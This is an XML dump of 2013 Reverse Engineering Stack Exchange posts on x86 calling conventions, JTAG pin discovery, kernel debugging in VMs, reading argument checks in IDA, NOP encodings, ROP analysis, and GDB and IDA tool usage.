  <row Id="2295" PostTypeId="2" ParentId="2283" CreationDate="2013-06-19T14:27:55.953" Score="3" Body="&lt;p&gt;Thank you all so much for your answers and comments. While reading your comments and preparing to update my question, I found the answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must give credit to &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/60/igor-skochinsky&quot;&gt;Igor Skochinsky&lt;/a&gt;, who asked me to provide functions' prolog instructions. Both functions use the &lt;a href=&quot;http://en.wikipedia.org/wiki/X86_calling_conventions#cdecl&quot; rel=&quot;nofollow noreferrer&quot;&gt;cdecl calling convention&lt;/a&gt;. However, calling convention has nothing to do with this buffer. This is what the prolog looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    ebp&#xA;mov     ebp, esp&#xA;sub     esp, &amp;lt;size of local vars&amp;gt;&#xA;push    ebx&#xA;push    esi&#xA;push    edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This buffer reflects &lt;strong&gt;three push instructions&lt;/strong&gt; for registers EBX, ESI, EDI. These registers are categorized as &lt;strong&gt;Callee Saved Registers&lt;/strong&gt; and this &quot;buffer&quot; is called &lt;strong&gt;Non-Volatile Register Save Area&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In accordance to x86 convention (it is also applicable to x64), registers are divided into &lt;strong&gt;Caller Saved Registers&lt;/strong&gt; and &lt;strong&gt;Callee Saved Registers&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caller saved registers are also known as volatile registers. Those are core CPU registers such as EAX, EDX, and ECX. A calling function (Caller) is responsible for saving volatile registers onto usually runtime stack before making a call. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Callee saved registers are known as non-volatile registers. Those are core CPU registers such as EBX, ESI, EDI, ESP, and EBP. It is assumed by convention, that values in those registers will be preserved by a callee function. In case any of the non-volatile registers are going to be used within a callee,  the callee is responsible to save the registers onto runtime stack. In addition, the callee is responsible to restore those registers before returning to a caller function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way volatile and non-volatile registers used is rather compiler driven. The following paper &lt;a href=&quot;http://www.cs.virginia.edu/~evans/cs216/guides/x86.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;x86 Assembly Guide&lt;/strong&gt;&lt;/a&gt; describes Caller and Callee rules in more detail. &lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2017-04-08T18:57:52.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2296" PostTypeId="2" ParentId="1374" CreationDate="2013-06-19T16:35:56.927" Score="8" Body="&lt;p&gt;For figuring out JTAG pinout, there are many hits on google for &quot;JTAG Finder&quot;. I also have my own implementation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mbed.org/users/igorsk/code/JTAG_Search/&quot; rel=&quot;noreferrer&quot;&gt;http://mbed.org/users/igorsk/code/JTAG_Search/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's for mbed but I tried to make it easily portable (original version was for a Stellaris board).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quote from the comment which describes the basic approach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; The overall idea:&#xA; 1) choose any 2 pins as TMS and TCK&#xA; 2) using them, reset TAP and then shift DR, while observing the state of all other pins&#xA; 3) for every pin that received anything like a TAP ID (i.e. bit 0 is 1):&#xA; 4)   using the pin as TDI, feed in a known pattern into the TAP&#xA; 5)   keep shifting and monitor the rest of the pins&#xA; 6)   if any of the remaining pins received the pattern, it is TDO&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-06-19T16:35:56.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2297" PostTypeId="1" CreationDate="2013-06-19T20:28:32.690" Score="8" ViewCount="5981" Body="&lt;p&gt;in windows host we can use WinDBG and serial port communication for connection to windows kernel and the most easiest way is using VirtualKD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now the question is, is there any possibility of doing same thing (VirtualKD/WinDBG alternative) using a MacOS host and VMware Fusion? i can use GDB remote debugging or i have to do host to host (VM to VM) for debugging and it's even possible to kernel debugging using two VM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2287" LastActivityDate="2014-02-20T20:17:24.130" Title="windows kernel debugging on Mac host (using VMware fusion)" Tags="|gdb|windbg|debugging|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2298" PostTypeId="2" ParentId="2297" CreationDate="2013-06-19T21:05:06.650" Score="6" Body="&lt;p&gt;Yes, you can do kernel debugging using two VMs. You will need to connect their serial ports. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.vmware.com/support/ws3/doc/ws32_devices3.html#1023828&quot; rel=&quot;nofollow&quot;&gt;http://www.vmware.com/support/ws3/doc/ws32_devices3.html#1023828&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above is for Windows. OS X setup needs to be done manually: &lt;a href=&quot;http://www.dcl.hpi.uni-potsdam.de/research/WRK/2011/01/running-wrk-on-mac-os-with-vmware-fusion/index.html&quot; rel=&quot;nofollow&quot;&gt;http://www.dcl.hpi.uni-potsdam.de/research/WRK/2011/01/running-wrk-on-mac-os-with-vmware-fusion/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the connection string on WinDbg/IDA side use the serial port, &lt;strong&gt;not&lt;/strong&gt; a pipe as you're probably used to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VirtualKD only works for VMWare running on Windows host so it won't help here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GDB debugging is always possible too (with the &lt;code&gt;debugStub.*&lt;/code&gt; settings). The advantage is that you don't need a second VM and can debug anything at all, including BIOS and any part of the kernel. The disadvantage is that you don't have nice meta-info provided by WinDbg such as modules, processes and symbols.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="1358" LastEditDate="2014-02-16T15:08:54.023" LastActivityDate="2014-02-16T15:08:54.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2299" PostTypeId="1" AcceptedAnswerId="2300" CreationDate="2013-06-20T04:16:38.990" Score="5" ViewCount="3542" Body="&lt;p&gt;I am working on a console windows executable. So far what I figured out is that the executable checks number of command line arguments. Afterwards, it branches out depending on the number of arguments passed (argv). The jumps are looked up using some sorts of jump table, which is constructed dynamically. It seems to be a daunting task try to figure out all of the possible command line arguments. It looks like the binary only executes only when certain number of particular arguments is parsed. I have collected some possible options using &lt;code&gt;strings&lt;/code&gt; utility. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a general road map for reversing command line arguments? What are possible approaches to reversing them? Are there any tools that could be employed?&lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="189" LastEditDate="2013-06-20T07:34:47.787" LastActivityDate="2013-06-20T07:51:47.160" Title="How to reverse command line arguments?" Tags="|disassembly|binary-analysis|ida|c|c++|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2300" PostTypeId="2" ParentId="2299" CreationDate="2013-06-20T07:51:47.160" Score="6" Body="&lt;p&gt;if you determined the argv and argc and values in there you gone half of the way . from value of argc you can understand how many arguments you should pass and from values in argv you can determine what you &quot;should&quot; pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i wrote a very simple example for you&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;70 _main           proc near               ; CODE XREF: _main_0j&#xA;.text:00401070&#xA;.text:00401070 var_44          = byte ptr -44h&#xA;.text:00401070 var_4           = dword ptr -4&#xA;.text:00401070 arg_0           = dword ptr  8&#xA;.text:00401070 arg_4           = dword ptr  0Ch&#xA;.text:00401070&#xA;.text:00401070                 push    ebp&#xA;.text:00401071                 mov     ebp, esp&#xA;.text:00401073                 sub     esp, 44h&#xA;.text:00401076                 push    ebx&#xA;.text:00401077                 push    esi&#xA;.text:00401078                 push    edi&#xA;.text:00401079                 lea     edi, [ebp+var_44]&#xA;.text:0040107C                 mov     ecx, 11h&#xA;.text:00401081                 mov     eax, 0CCCCCCCCh&#xA;.text:00401086                 rep stosd&#xA;.text:00401088                 cmp     [ebp+arg_0], 2&#xA;.text:0040108C                 jge     short loc_4010A0&#xA;.text:0040108E                 push    offset aCheckUsage ; &quot;check usage&quot;&#xA;.text:00401093                 call    _printf&#xA;.text:00401098                 add     esp, 4&#xA;.text:0040109B                 or      eax, 0FFFFFFFFh&#xA;.text:0040109E                 jmp     short loc_4010DB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as you can see there is &lt;code&gt;cmp  [ebp+arg_0], 2&lt;/code&gt; it means at least we have to pass one &quot;argument&quot; then there is jqe (jump if greater or equal) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so we will call program with one argument to pass this condition so we will be in &lt;code&gt;loc_4010A0&lt;/code&gt; and here is the code .&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 loc_4010A0:                             ; CODE XREF: _main+1Cj&#xA;.text:004010A0                 push    offset Str2     ; &quot;n00b&quot;&#xA;.text:004010A5                 mov     eax, [ebp+arg_4]&#xA;.text:004010A8                 mov     ecx, [eax+4]&#xA;.text:004010AB                 push    ecx             &#xA;.text:004010AC                 call    _strcmp         &#xA;.text:004010B1                 add     esp, 8          &#xA;.text:004010B4                 mov     [ebp+var_4], eax&#xA;.text:004010B7                 cmp     [ebp+var_4], 0  &#xA;.text:004010BB                 jle     short loc_4010CC&#xA;.text:004010BD                 push    offset aWrongPassword ; &quot;wrong password !!!&quot;&#xA;.text:004010C2                 call    _printf        &#xA;.text:004010C7                 add     esp, 4          &#xA;.text:004010CA                 jmp     short loc_4010D9 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now as you can see we have another compare here this time using strcmp and before that we will push our str and &lt;code&gt;arg_4&lt;/code&gt; and here is our actual argument vector . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can really easily analysis arguments using static and dynamic analysis but there is a few notes you have to keep in your mind .&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;how many arguments we have to pass&lt;/li&gt;&#xA;&lt;li&gt;type of arguments&lt;/li&gt;&#xA;&lt;li&gt;location of arguments (argv)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;also there is additional note here , sometime maybe we &quot;DO NOT&quot; use argc/argv for getting command line arguments we can use windows API like &lt;code&gt;GetCommandLine&lt;/code&gt; and so on too. you have to check how arguments are received and parsed too.&lt;/p&gt;&#xA;" OwnerUserId="2287" LastActivityDate="2013-06-20T07:51:47.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2302" PostTypeId="1" AcceptedAnswerId="2307" CreationDate="2013-06-20T09:06:48.170" Score="1" ViewCount="478" Body="&lt;p&gt;&lt;a href=&quot;http://metasm.cr0.org/&quot; rel=&quot;nofollow&quot;&gt;Metasm&lt;/a&gt; is an assembly manipulation suite written in Ruby. It does provide a quite extensive API for disassembling and extracting a CFG representation from a binary program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know what algorithm is used to extract the CFG. Is this usual linear sweep or recursive traversal, or is another algorithm?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="189" LastEditDate="2013-06-21T14:08:49.650" LastActivityDate="2013-06-21T14:08:49.650" Title="What algorithm does Metasm use to dissassemble binary code?" Tags="|disassembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2303" PostTypeId="1" CreationDate="2013-06-20T10:55:37.310" Score="3" ViewCount="325" Body="&lt;p&gt;I am using remote symbian: c5-03 (Application TRK 3.2.7 for all S60 5.0 devices with production images). However, whenever I start the debugger, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;general OS-related error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/08s39.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What went wrong? How do I solve the issue?&lt;/p&gt;&#xA;" OwnerUserId="2293" LastEditorUserId="189" LastEditDate="2013-07-13T09:00:27.700" LastActivityDate="2013-07-13T09:00:27.700" Title="IDA Pro Symbian Debugger 'general OS related' Error" Tags="|disassembly|debuggers|assembly|ida|visual-basic|" AnswerCount="0" CommentCount="3" ClosedDate="2014-01-11T06:54:35.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="2304" PostTypeId="1" AcceptedAnswerId="2305" CreationDate="2013-06-20T15:47:39.810" Score="8" ViewCount="4448" Body="&lt;p&gt;I have recently learned that &lt;code&gt;nop&lt;/code&gt; instruction is actually &lt;code&gt;xchg eax, eax&lt;/code&gt;... what it does is basically exchanges &lt;code&gt;eax&lt;/code&gt; with itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as CPU goes, does the exchange actually happen?&lt;/p&gt;&#xA;" OwnerUserId="2297" LastEditorUserId="107" LastEditDate="2013-06-20T21:29:50.880" LastActivityDate="2018-02-09T20:08:22.377" Title="NOP instruction" Tags="|assembly|x86|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2305" PostTypeId="2" ParentId="2304" CreationDate="2013-06-20T16:09:02.320" Score="8" Body="&lt;p&gt;There are several instructions, which could be used depending on the compiler. &lt;code&gt;xchg eax, eax&lt;/code&gt; is byte code 90. It is a legit instruction, which takes up a single processing cycle. In addition, there are several other instructions, which could be used in place of &lt;code&gt;xchg eax, eax&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea eax, [eax + 0x00]    byte code 8D 40 00&#xA;mov eax, eax             byte code 89 C0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since all of those instructions are different length, compiler chooses one of the most appropriate versions depending on alignment requirements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding compilers' choices, a few pointers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;GAS (GNU Assembler, used by GCC) x86 NOP operations can be found in function &lt;a href=&quot;https://github.com/bminor/binutils-gdb/blob/master/gas/config/tc-i386.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;i386_align_code()&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;similarly, for LLVM it is in &lt;a href=&quot;http://llvm.org/doxygen/X86AsmBackend_8cpp_source.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;X86AsmBackend::writeNopData()&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="20067" LastEditDate="2018-02-09T20:08:22.377" LastActivityDate="2018-02-09T20:08:22.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2306" PostTypeId="2" ParentId="1930" CreationDate="2013-06-20T16:41:36.700" Score="13" Body="&lt;p&gt;Apart from the ptrace trick, you can check /proc/PID/cmdline, raise a SIGTRAP, use getppid, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to check &lt;a href=&quot;https://github.com/jvoisin/pangu&quot;&gt;pangu&lt;/a&gt; (disclamer: I'm the author).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Pangu a a little toolset to mess around with debugging-related tools&#xA;  from the GNU project, and especially on GNU/Linux x86.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-06-20T16:41:36.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2307" PostTypeId="2" ParentId="2302" CreationDate="2013-06-20T21:16:20.530" Score="4" Body="&lt;p&gt;The strategy used by Metasm is referenced in the peer-reviewed literature on their website. Look at &lt;a href=&quot;http://metasm.cr0.org/docs/sstic08-metasm-jcv.pdf&quot; rel=&quot;nofollow&quot;&gt;the article published in the Journal of Computer Virology in 2008&lt;/a&gt;, in section 3.1. To quote them, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Standard disassembly. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Out of the box, the disassembly engine in Metasm&#xA;  works this way :&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Disassemble the binary instruction at the instruction pointer.&lt;/li&gt;&#xA;  &lt;li&gt;Analyse the effects of the instruction.&lt;/li&gt;&#xA;  &lt;li&gt;Update the instruction pointer.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That sounds more like recursive traversal to me, and less like linear sweep. The engine disassembles the next instruction based upon the effects of the previous instruction, which would allow the disassembly engine to follow branches in the logic, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I have not examined their code in-depth, but in &lt;code&gt;metasm/disassemble.rb&lt;/code&gt; it looks like they maintain some sort of autoanalysis queue for addresses to continue analyzing. Look for functions referencing backtracing - it definitely seems like recursive traversal.&lt;/p&gt;&#xA;" OwnerUserId="118" LastEditorUserId="118" LastEditDate="2013-06-20T21:27:40.447" LastActivityDate="2013-06-20T21:27:40.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2308" PostTypeId="1" AcceptedAnswerId="2312" CreationDate="2013-06-21T02:05:30.857" Score="9" ViewCount="384" Body="&lt;p&gt;How are &lt;a href=&quot;http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html&quot;&gt;return-oriented programs&lt;/a&gt; decompiled/reverse engineered ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers to any papers or reports would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2303" LastEditorUserId="117" LastEditDate="2013-06-21T12:00:19.873" LastActivityDate="2013-06-21T12:00:19.873" Title="Decompiling return-oriented programs" Tags="|decompilation|exploit|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2309" PostTypeId="1" AcceptedAnswerId="2310" CreationDate="2013-06-21T03:31:25.453" Score="18" ViewCount="30667" Body="&lt;p&gt;I am working on an obfuscated binary. IDA did pretty good job distinguishing code from junk. However, I had started messing around with a function changing from &lt;code&gt;code&lt;/code&gt; to &lt;code&gt;data&lt;/code&gt; and  vice versa and completely messed the function up and destroyed the way it looked like. I don't want to start new database on the executable and re-do all my work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to re-analyse a single function and return it to the way it looked like after initial analysis?&lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="189" LastEditDate="2013-06-21T07:57:36.380" LastActivityDate="2017-09-23T15:23:40.050" Title="How to re-analyse a function in IDA Pro?" Tags="|disassembly|ida|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2310" PostTypeId="2" ParentId="2309" CreationDate="2013-06-21T08:20:11.967" Score="21" Body="&lt;p&gt;Well you have to first Undefine the code using U key and they select the code and right click you will have some options like C (code) and so on. IDA almost give you ability of doing anything wih obfuscated code to help you to understand code correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Addendum&lt;/em&gt;&#xA;After converting to C (code), do Alt+P to create/edit function. In addition, rebuild layout graph by go to Layout view, right clicking empty space and selecting &quot;Layout graph&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2287" LastEditorUserId="8200" LastEditDate="2017-09-23T15:23:40.050" LastActivityDate="2017-09-23T15:23:40.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2311" PostTypeId="2" ParentId="2308" CreationDate="2013-06-21T08:25:15.240" Score="1" Body="&lt;p&gt;reverse engineering ROP is like normal RE but i recommend to do Dynamic analysis ROP is from my point of view all about ESP , so you faster way to undersand what the ROP code is doing is find Pivot (to get control of ESP) or start of ROP put a breakpoint on it and trace the stack then you can easily understand which functions are getting called and what the ROP code is really doing so key Point to understand the ROP is Stack. &lt;/p&gt;&#xA;" OwnerUserId="2287" LastActivityDate="2013-06-21T08:25:15.240" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2312" PostTypeId="2" ParentId="2308" CreationDate="2013-06-21T08:41:02.097" Score="7" Body="&lt;p&gt;You might be interested in the Dr. Gadget IDAPython script (screenshots &lt;a href=&quot;http://www.openrce.org/blog/view/1570/Dr._Gadget_IDAPython_plugin&quot;&gt;here&lt;/a&gt;, code &lt;a href=&quot;https://github.com/patois/DrGadget&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This little IDAPython plugin helps in writing and analyzing return oriented payloads. It uses IDA's custom viewers in order to display an array of DWORDs called 'items', where an item can be either a pointer to a gadget or a simple 'value'.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="182" LastEditorUserId="189" LastEditDate="2013-06-21T09:08:24.380" LastActivityDate="2013-06-21T09:08:24.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2313" PostTypeId="1" CreationDate="2013-06-21T17:41:48.417" Score="10" ViewCount="3377" Body="&lt;p&gt;I am trying to reverse engineer a Linux binary that makes several &lt;code&gt;fork()&lt;/code&gt; calls. I am using GDB 7.5 on Ubuntu. What I am trying to do with GDB is attach to a certain &lt;code&gt;fork()&lt;/code&gt; (say the second call). Is the only way to do this to set &lt;code&gt;follow-fork-mode&lt;/code&gt; to &lt;code&gt;child&lt;/code&gt; and catch all calls to &lt;code&gt;fork&lt;/code&gt; and manually switch it each time?&lt;/p&gt;&#xA;" OwnerUserId="2310" LastEditorUserId="107" LastEditDate="2013-06-22T01:27:49.820" LastActivityDate="2013-07-15T10:17:35.693" Title="Attaching GDB to a specific fork" Tags="|linux|gdb|multi-process|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2314" PostTypeId="2" ParentId="1392" CreationDate="2013-06-21T23:54:48.660" Score="6" Body="&lt;p&gt;I usually use Vim + gdb in CLI mode when coding etc. But sometimes a GUI is preferable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other option, beside the ones mentioned, is Code::Blocks. It uses GDB and CDB as back-end. For GDB you can select AT&amp;amp;T, Intel or &lt;em&gt;custom&lt;/em&gt; for disassembly. It supports mixed mode as well as pure instructions listing. You can further set it up to evaluate variables (in code) under cursor etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is only one memory dump window, but you can additionally enter &lt;em&gt;raw&lt;/em&gt; GDB commands in &lt;em&gt;Command line&lt;/em&gt; at bottom which gets printed to window – thus e.g. memory dumps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a separate window for CPU registers, they are not directly editable, but you can set values by mentioned command line, as well as other values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set $eax = 123&#xA;set var xyz = 'q'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HeYrw.png&quot; rel=&quot;noreferrer&quot;&gt;Picture below&lt;/a&gt; shows it in action with source debugging on a KVM (Open link to view it in larger format).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One issue I have had with it is some GUI bugs etc. when I run it on Ubuntu 12 – UB 12 have version 10.10. But a compile and install of &lt;a href=&quot;http://www.codeblocks.org/downloads/25&quot; rel=&quot;noreferrer&quot;&gt;current release&lt;/a&gt;, 12.11, was painless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. for custom install path install (If your distribution does not have up to date version and you want to have both):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Download (SVN or release).&#xA;- Unpack.&#xA;- ./configure --exec-prefix=/blahblah/codeblocks --prefix=/blahblah/codeblocks&#xA;- make&#xA;- sudo make install 2&amp;gt;&amp;amp;1 | tee my_install.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HeYrw.png&quot; alt=&quot;Code::Blocks with GDB&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1568" LastActivityDate="2013-06-21T23:54:48.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2315" PostTypeId="1" AcceptedAnswerId="2316" CreationDate="2013-06-24T13:15:36.283" Score="9" ViewCount="4088" Body="&lt;p&gt;I have come across &lt;code&gt;File -&amp;gt; Create EXE file...&lt;/code&gt; option in IDA. I thought one couldn't use IDA for patching. I have tried playing with it. However, it gives me the following error: &lt;strong&gt;&lt;code&gt;This type of output files is not supported.&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this option for? What is possible usage of it?&lt;/p&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2013-06-24T14:47:24.317" Title="IDA Pro: What does &quot;Create EXE file...&quot; option do?" Tags="|disassembly|ida|patching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2316" PostTypeId="2" ParentId="2315" CreationDate="2013-06-24T14:47:24.317" Score="9" Body="&lt;p&gt;This option has limited value.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;IDA produces executable files only for:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MS DOS .exe&lt;/li&gt;&#xA;&lt;li&gt;MS DOS .com&lt;/li&gt;&#xA;&lt;li&gt;MS DOS .drv&lt;/li&gt;&#xA;&lt;li&gt;MS DOS .sys&lt;/li&gt;&#xA;&lt;li&gt;general binary&lt;/li&gt;&#xA;&lt;li&gt;Intel Hex Object Format&lt;/li&gt;&#xA;&lt;li&gt;MOS Technology Hex Object Format&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;-- &lt;em&gt;IDA Help file&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;While this is the most promising menu option, it unfortunately is also the most crippled. In a nutshell, it doesn't work for most file types...&lt;/p&gt;&#xA;&lt;p&gt;-- &lt;em&gt;&lt;a href=&quot;http://nostarch.com/idapro.htm&quot; rel=&quot;noreferrer&quot;&gt;The IDA Pro Book&lt;/a&gt;, Chapter 14&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;That chapter goes into more detail why this option is not very useful. For starters, IDA doesn't parse and save contents of sections such as &lt;code&gt;.rsrc&lt;/code&gt;, and doesn't have a way to rebuild import/export tables back into their original format.&lt;/p&gt;&#xA;&lt;p&gt;Read this book. Not just for this question, it's a good and useful read.&lt;/p&gt;&#xA;" OwnerUserId="262" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-06-24T14:47:24.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2317" PostTypeId="1" CreationDate="2013-06-24T18:34:35.303" Score="7" ViewCount="1853" Body="&lt;p&gt;I am attempting to reverse engineer a 32-bit stripped, dynamically linked ELF executable. I want to know when a specific string is printed to the console. I ran the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@testbox&amp;gt; strings -a --radix=x binfile | grep -i reset&#xA;d38c4  RESET&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the string I want to know when is being printed to the console. This could either be happening with printf or puts (which are called many many times during the flow of execution)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the appropriate way to use the string's memory address to tell when its being read (thus printed to the screen)?&lt;/p&gt;&#xA;" OwnerUserId="2310" LastEditorUserId="2310" LastEditDate="2014-03-07T16:50:25.193" LastActivityDate="2014-03-07T16:50:25.193" Title="Setting GDB watchpoint on a string" Tags="|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2319" PostTypeId="1" AcceptedAnswerId="2325" CreationDate="2013-06-25T08:20:30.947" Score="13" ViewCount="18414" Body="&lt;p&gt;I am using Resource Hacker as a tool to extract out resources like icon, images, etc. from &lt;code&gt;.dll&lt;/code&gt; or &lt;code&gt;.exe&lt;/code&gt; file. In addition, I am using it to crack some small Windows application. However, it does not work with all Win32 Application, especially with those that are zipped by &lt;code&gt;.exe&lt;/code&gt; compressor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other open source applications, that I can use to crack and extract resources out of &lt;code&gt;.dll&lt;/code&gt; and &lt;code&gt;.exe&lt;/code&gt; files?&lt;/p&gt;&#xA;" OwnerUserId="2023" LastEditorUserId="2158" LastEditDate="2013-06-25T13:55:48.357" LastActivityDate="2022-10-12T10:20:12.787" Title="Freely available resource hacking applications" Tags="|tools|windows|dll|executable|pe-resources|" AnswerCount="5" CommentCount="2" CommunityOwnedDate="2015-07-16T07:00:40.183" ContentLicense="CC BY-SA 3.0" />
